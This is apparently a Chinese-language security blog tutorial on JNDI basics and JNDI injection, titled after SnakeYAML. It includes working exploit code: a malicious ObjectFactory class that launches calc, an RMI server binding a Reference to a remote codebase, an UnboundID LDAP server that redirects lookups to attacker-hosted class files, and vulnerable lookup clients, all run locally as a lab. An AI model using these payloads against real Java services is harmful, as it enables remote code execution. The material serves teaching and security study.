SnakeYAML 反序列化


JNDI 注入

JNDI 基础

JNDI (java Naming and Directory Interface) 也就是 java 命名和目录接口,当程序定义了 JNDI 中的接口后,就可通过接口 API 访问系统的命名服务目录服务

JNDI 中可以支持很多种服务:LADP​、RMI​、DNS​、CORBA等等
但是 JNDI 不会指定哪一个服务,而是通过 java 的 SPI 机制,这个会根据你的参数自动选择对应的服务并寻找对应的接口

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 和 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI Java 远程方法协议,该协议用于远程调用应用程序编程接口,使得客户机上运行的程序可以调用远程服务器上的对象
DNS 域名解析服务
CORBA 公告对象请求代理体系结构

这里的命名服务和目录服务与常规的理解有点不一样

命名服务

通过名字查找对象

  • DNS:通过域名查找实际的 IP 地址
  • 文件系统:通过文件名定位到具体的文件

在命名服务中有一些重要的概念

  • Bindings (绑定):表示一个名称和对应对象之间的关联关系,又名称和对象组成
  • Context​ (上下文):代表命名服务中的一个命名空间,并提供了查找、绑定、解绑等方法处理名称和对象,Context 使得 JNDI 的命名空间可以类似文件系统
  • References (引用):表示某个名称对应对象的指针,命名服务利用这个来提供对对象的间接访问,能用工厂等方式重建一个对象,而不是直接返回一个对象

目录服务

目录服务是命名服务的拓展,不仅可以将对象映射到名称上,还可以为这些对象提供关联的属性,通过这些属性可以过滤对象

JNDI API 和 SPI

JNDI 包含两个主要部分:API 和 SPI

JNDI API

API 是应用编程接口,是 JNDI 提供给 Java 应用的一组标准类和接口,用来执行命名和目录服务

命名服务

  • Context.lookup():根据名称查找一个对象
  • Context.bind():将一个名称绑定到一个对象
  • Context.rebind():重新绑定一个名称到一个对象
  • Context.unbind():在这个命名空间中解除这个名称和对象的绑定
// 创建 JNDI 上下文
Context context = new InitialContext();
// 用名字查找数据库连接
DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase");
// 获取连接
Connection connection = dataSource.getConnection();

目录服务

  • Context.getAttributes():获取对象的属性
  • Context.modifyAttributes():修改对象的属性
  • Contest.search():根据过滤条件搜索对象
// 创建 JNDI 上下文
Context context = new InitialContext();
// 查找名字
Attributes atts = context.getAttributes("name");
// 获取相关属性
String title = (String) attrs.get('title').get();
String department = (String) attrs.get("department").get();

JNDI SPI

SPI 是服务提供接口,是 JNDI 提供给 java 的一组抽象类和接口,用来开发特定的命名或目录服务

  • 命名服务提供者接口:需要实现 javax.naming.spi.NamingManager 类和相关接口,提供命名服务的具体实现
  • 目录服务提供者接口:需要实现 javax.naming.spi.DirContext 及其子类,提供目录操作的实现

SPI 允许不同的命名和目录服务集成到 JNDI 中,使得 JNDI 能够支持不用的服务,如:DNS、RMI 等
同时通过 SPI,能够拓展 JNDI 框架,不需要修改 JNDI API 就能够支持不同的服务

JNDI 案例

实现一个利用 JNDI 接口调用 RMI 的案例

接口

Remote​ 接口,任何打算让客户端远程调用的接口都需要实现这个接口,并且所有在远程接口中定义的方法都要抛出 java.rmi.RemoteException

import java.rmi.Remote;
import java.rmi.RemoteException;

// 实现了 Remote 接口
public interface Hello extends Remote {
    String sayHello(String input) throws RemoteException;
}

实现类

UnicastRemoteObject 是 RMI 提供的基础类,只有继承了这个类的对象才是 RMI 远程对象

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    protected HelloImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String input) throws RemoteException {
        return input;
    }
}

RMI 服务端

通过命名服务,实现了服务的暴露和发布

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException {
        // 将 Hello 服务转化成 RMI 远程服务接口
		Hello skeleton = new HelloImpl();
		// 将 RMI 服务注册到 1099 端口
        Registry registry = LocateRegistry.createRegistry(1099);
		// 注册 Hello 服务,服务名为 Hello
        registry.rebind("Hello", skeleton);
    }
}

JNDI 客户端

Context.INITIAL_CONTEXT_FACTORY 指定了要使用哪个 SPI 实现 API ,这里指定的就是 RMI 服务

Context.PROVIDER_URL 提供了 RMI 注册表的地址

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Hashtable;

public class RMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        // 设置 JNDI 环境变量
		Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
		// 初始化上下文
        Context ctx = new InitialContext(env);
		// 通过命名服务查找远程服务 Hello
        Hello hello = (Hello) ctx.lookup("Hello");
        System.out.println(hello.sayHello("成功连接到RMI服务,并且实现"));
    }
}

最后先打开服务端,再启动客户端,就能实现

image

JNDI Reference

Reference 是一种轻量级的、可序列化的数据结构,不包含一个对象,但是包含了重建一个目标对象需要的全部信息,一般是用来表示不直接存储在命名或目录系统中的对象的引用

Reference 类主要有以下几个构造方法

public Reference(String className,String factory,String factoryLocation)
public Reference(String className)
public Reference(String className,Vector<RefAddr> addrs,String factory, String factoryLocation)

className 指定了引用的对象的全限定类名,告诉 JNDI 要加载哪个类

factory​ 指定了用于构建对象的工厂类,这个类必须实现 javax.naming.spi.ObjectFactory

addrs 包含了一组引用地址,这些地址包含了重建对象的各种信息

LDAP 协议

LDAP 是一种应用层协议,用于访问和维护分布式目录信息服务
主要是用来身份验证、信息查询、集中管理用户信息等
默认端口是 389

  • 目录服务:LDAP 的目录服务是按照树形结构存储和组织数据,是设计用来快速读取数据的数据库系统,但不适合频繁写入
  • 条目( Entry ):是目录服务中的核心数据单元,一个条目由三个部分组成:对象类、属性和一个区别名( DN ),区别名是用来定义这个条目在整个目录树中的确切位置
  • 对象类:对象类是条目的蓝图或者类型,每个条目必须由一个或多个对象类属性,定义了这个条目必须要包含哪些必须属性和可选属性
  • 属性:属性是 LDAP 目录中信息的最小单元,以键值对的形式存在
  • 区别名:DN 是条目的唯一标识符,由一系列用逗号分开的属性/值对组成,描述了从当前条目到目录根的完整路径
    每一个属性/值对称为一个相对区别名 ( RDN )

LDAP 协议操作

  1. 绑定:客户端与 LDAP 服务器建立连接并进行身份验证
  2. 查询:客户端用来查询目录树中符合特定条件的条目
  3. 比较:检查某个条目中的某个属性值是否与给定值匹配
  4. 添加:向目录中添加新的条目
  5. 删除:删除指定的条目
  6. 修改:修改条目的属性值
  7. 修改 DN:修改条目的 DN,从而改变条目在目录树中的位置
  8. 解除绑定:客户端通知 LDAP 服务器结束会话,关闭连接

JNDI 结构

javax.naming​:主要用于命名操作,包含命名服务的类和接口,定义了 Context​ 接口和 InitialContext

javax.naming.directory​:主要用于目录操作,定义了 DirContext​ 接口和 InitialDirContext

javax.naming.event:目录事件通知,让应用监听命名和目录对象的变化

javax.naming.ldap:LDAP 协议专用扩展

javax.naming.spi:SPI 的实现

JNDI 注入

JNDI 注入的前提是能够操作客户端 lookup 方法或其他远程操作方法的参数

JNDI + RMI

我们需要在 RMI 服务器上绑定一个 Reference

恶意类

EvilClass​ 就是远程类名,同时也还要作为工厂类名,所以这个类要实现 javax.naming.spi.ObjectFactory 接口

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static{
        try{
            Runtime.getRuntime().exec("calc");
        }catch (IOException e){
            throw new RuntimeException(e);
        }

    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

服务端代码

Reference reference = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8002/")

攻击的核心 payload ,这里接收的是类名和工厂名,最后的地址是工厂类的网络地址,这个服务器上应该包含 EvilClass​ 字节码的 .class 文件

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

前面说过,要让 RMI 适配基础类,就需要实现 UnicastRemoteObject​ ,ReferenceWrapper​ 包装后的类就会实现这个,将原本不具备远程能力的 Reference 对象适配成了 RMI 远程对象

  • 但是 ReferenceWrapper 在后续版本被移除了,需要额外引入 jar 包,这里用的版本是 8u65

完整代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JndiRmiServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        Reference reference = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8002/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        // 将 RMI 服务注册到 1099 端口
        Registry registry = LocateRegistry.createRegistry(1099);
        // 绑定 Reference 对象
        registry.rebind("EvilClass", referenceWrapper);
    }
}

客户端

这里踩了几个坑,因为前面写的不是全限定包名,所以如果不要远程访问的话,就需要将代码放到 java 路径下

image

如果是要远程访问,就将这些文件移除,并且文件中不能有包名,然后起一个服务

python -m http.server 8002

可以看到成功访问了,并且实现了弹出计算机的功能

image

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {

        Context ctx = new InitialContext();

        Object lookup =  ctx.lookup("rmi://127.0.0.1:1099/EvilClass");
    }
}

JNDI + LDAP

利用这个也需要 Java 开启一个 LDAP 服务器,需要的依赖如下

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>6.0.7</version>
</dependency>

LDAP 服务端代码如下

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.UnknownHostException;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] args) throws LDAPException, UnknownHostException, MalformedURLException {
        String url = "http://127.0.0.1:8002/#EvilClass";
        int port = 8003;
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("0.0.0.0"),
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port);
        ds.startListening();
    }
    public static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor(URL url) {
            this.codebase = url;
        }
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result){
            String base = result.getRequest().getBaseDN();
            Entry e = new  Entry(base);
            try {
                sendResult(result,base,e);
            } catch (MalformedURLException ex) {
                throw new RuntimeException(ex);
            } catch (LDAPException ex) {
                throw new RuntimeException(ex);
            }

        }

        private void sendResult(InMemoryInterceptedSearchResult result,String base,Entry e) throws MalformedURLException, LDAPException {
            URL turl = new URL(this.codebase,this.codebase.getRef().replace('.','/').concat(".class"));
            System.out.println("Send LDAP reference result for "+ base + "redirecting to" + turl);
            String cbstr = this.codebase.toString();
            int refPos = cbstr.indexOf('#');
            if(refPos > 0){
                cbstr = cbstr.substring(0, refPos);
            }
            e.addAttribute("javaClassName","Exploit");
            e.addAttribute("javaCodeBase",cbstr);
            e.addAttribute("objectClass","javaNamingReference");
            e.addAttribute("javaFactory",this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端代码

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1:8003/EvilClass");
    }
}

参考

漏洞篇 - JNDI 注入详解 - 妙尽璇机


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录